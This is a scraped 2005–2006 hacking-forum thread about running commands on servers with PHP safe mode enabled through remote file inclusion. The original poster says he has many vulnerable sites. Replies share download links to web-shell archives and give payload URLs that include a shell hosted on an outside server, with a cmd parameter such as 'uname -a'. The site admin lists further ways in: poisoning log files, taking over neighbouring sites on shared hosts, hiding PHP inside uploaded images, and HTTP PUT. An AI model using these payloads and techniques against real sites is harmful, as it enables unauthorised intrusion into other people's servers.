Waraxe IT Security Portal
Login or Register
December 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 71
Members: 0
Total: 71
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Remote file inclusion -> Safemode in PHP Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
Safemode in PHP
PostPosted: Thu Mar 17, 2005 8:07 pm Reply with quote
zer0-c00l
Advanced user
Advanced user
Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




Hi there...

i got many sites with remote file inclusion and has safemode in PHP...

somebody knows how to 'bypass' or other method to execute commands with safemode enabled?
View user's profile Send private message
Re: Safemode in PHP
PostPosted: Fri Mar 18, 2005 7:47 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




zer0-c00l wrote:
Hi there...

i got many sites with remote file inclusion and has safemode in PHP...

somebody knows how to 'bypass' or other method to execute commands with safemode enabled?


yes here http://www.sosvulnerable.net/waraxe/php-shells.rar by pass safemode tool25 you need configure therules for fullpath you victim


and upload all files click in list on and safemode OWNED
View user's profile Send private message Visit poster's website
PostPosted: Fri Mar 18, 2005 8:25 pm Reply with quote
zer0-c00l
Advanced user
Advanced user
Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




there is a lot of files into the .rar :S

can u tell me what i have to do to use?

maybe an example?

thanks Very Happy
View user's profile Send private message
PostPosted: Sat Mar 19, 2005 1:06 pm Reply with quote
y3dips
Valuable expert
Valuable expert
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




zer0-c00l wrote:
there is a lot of files into the .rar :S

can u tell me what i have to do to use?

maybe an example?

thanks Very Happy


Read d manual
it wroten clearly there

---//snip---
file :readme.txt

Php shells for use remote and local for local rename*.php - for remote rename *.svs not php Smile (svs = sosvulnerable security) xD
----\\snip

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
PostPosted: Sat Apr 02, 2005 4:37 pm Reply with quote
yame
Beginner
Beginner
Joined: Apr 02, 2005
Posts: 1




hey,

I get this a lot of times while testing a remote file inclusion bug ( I even used the tool25.doc error.php?dir=..../tool25.doc?&cmd=uname%20-a )
Quote:

Warning: main(): URL file-access is disabled in the server configuration in /home/.../error.php on line 1


is this also because of Safemode, or is it something else?
how can someone bypass this?

regards
View user's profile Send private message
PostPosted: Sat Apr 02, 2005 6:50 pm Reply with quote
murdock
Advanced user
Advanced user
Joined: Mar 16, 2005
Posts: 54




Perhaps it has the option "allow_url_fopen" disabled in php.ini!
View user's profile Send private message
PostPosted: Sun Apr 03, 2005 10:14 am Reply with quote
y3dips
Valuable expert
Valuable expert
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




yame wrote:
hey,

I get this a lot of times while testing a remote file inclusion bug ( I even used the tool25.doc error.php?dir=..../tool25.doc?&cmd=uname%20-a )
Quote:

Warning: main(): URL file-access is disabled in the server configuration in /home/.../error.php on line 1


is this also because of Safemode, or is it something else?
how can someone bypass this?

regards


SAFEMODE restrict this function :
dbmopen()
dbase_open()
filepro()
filepro_rowcount()
filepro_retrieve()
ifx_*()
ingres_*()
mysql_*()
pg_loimport()
posix_mkfifo()
putenv()
move_uploaded_file()
chdir()
dl()
shell_exec()
exec()
system()
passthru()
popen()
mkdir()
rmdir()
rename()
unlink()
copy()
chgrp()
chown()
chmod()
touch()
symlink()
link()
getallheaders()
header()
PHP_AUTH variables
highlight_file()
Show_source()
parse_ini_file()
set_time_limit()
max_execution_time

... for more info read php manual
i suggest u to read .chm form

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
PostPosted: Sun Apr 03, 2005 1:13 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




yame wrote:
hey,

I get this a lot of times while testing a remote file inclusion bug ( I even used the tool25.doc error.php?dir=..../tool25.doc?&cmd=uname%20-a )
Quote:

Warning: main(): URL file-access is disabled in the server configuration in /home/.../error.php on line 1


is this also because of Safemode, or is it something else?
how can someone bypass this?

regards


Like murdock allready mentioned, it is the "allow_url_fopen" setting in php.ini, which will restrict remote inclusion possibilities, not the safe mode. So what to do and how to bypass? Some possible choices:

1. Using local files, for example some log files (if you can inject there php code)
2. if the server is virtual server and there is many webistes on same ip address (most of the hosting works that way), you can try take over some other site on same server and then use directory traversal between virtual site root directories.
3. pictures upload - all the image galleries and avatars and stuff - there is possibility to craft some valid jpg/gif/png/bmp picture, which will pass through all the checking routines and still it will contain some php code inside Smile I have tested this on my local server and seems, that php parser is very sensitive about this kind of php code inclusion. But try to experiment with hex editor and finally it will work Wink
4. test apache/iis server directories against "PUT" http method.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Apr 03, 2005 4:13 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




ok new url for use shell bypassed safemode and other

only remote inclusion if you need local download shell in my site

Code:
http://qwqw.altervista.org/tool25.dat?cmd=


example
http://www.noob.com/vuln.php?=http://qwqw.altervista.org/tool25.dat?cmd=
View user's profile Send private message Visit poster's website
PostPosted: Sun Apr 03, 2005 9:33 pm Reply with quote
sp3x
Valuable expert
Valuable expert
Joined: Feb 15, 2005
Posts: 10




i think this script that you gave LINUX and the link now
http://qwqw.altervista.org/tool25.dat?cmd=
dont bypass safemode because is missing the file safe25.dat
this file is needed to bypass safemode
View user's profile Send private message
PostPosted: Mon Apr 04, 2005 6:08 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




sp3x wrote:
i think this script that you gave LINUX and the link now
http://qwqw.altervista.org/tool25.dat?cmd=
dont bypass safemode because is missing the file safe25.dat
this file is needed to bypass safemode



yes is correct , if you like download full shell and reconfigure Cool

www.sosvulnerable.net/waraxe/php-shells.rar
View user's profile Send private message Visit poster's website
PostPosted: Thu Mar 23, 2006 1:07 pm Reply with quote
Classics
Regular user
Regular user
Joined: Mar 23, 2006
Posts: 6
Location: Nederland/Venlo




Hi

i have the self Problems to , i use C99 Shell and RuSH Shell !

This Shell are very mighty , but not incredibly enough.

Please Upload your safemod tool new , the old links is 404 not found.


Thank you Laughing
View user's profile Send private message
PostPosted: Thu Mar 23, 2006 1:10 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Classics wrote:
Hi

i have the self Problems to , i use C99 Shell and RuSH Shell !

This Shell are very mighty , but not incredibly enough.

Please Upload your safemod tool new , the old links is 404 not found.


Thank you Laughing


Linux has changed his domain, here is new url:

http://www.securityhead.com/waraxe/php-shells.rar

Wink
View user's profile Send private message Send e-mail Visit poster's website
Re: Safemode in PHP
PostPosted: Thu Apr 20, 2006 5:31 am Reply with quote
daemon_azazel
Regular user
Regular user
Joined: Apr 16, 2006
Posts: 17




LINUX wrote:
by pass safemode tool25 you need configure therules for fullpath you victim


and upload all files click in list on and safemode OWNED


have re-configured and uploaded on linux server with safemode on
and with open basedir restrictions on all other folders and the tool
did not worked - it wasn't able to execute any command and list
anything.
View user's profile Send private message Visit poster's website
PostPosted: Sun Apr 23, 2006 7:40 pm Reply with quote
outlawsys
Regular user
Regular user
Joined: Jun 11, 2005
Posts: 12




You can bypass safemod with an .cgi script so you can execute command.
View user's profile Send private message
Safemode in PHP
www.waraxe.us Forum Index -> Remote file inclusion
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.062 Seconds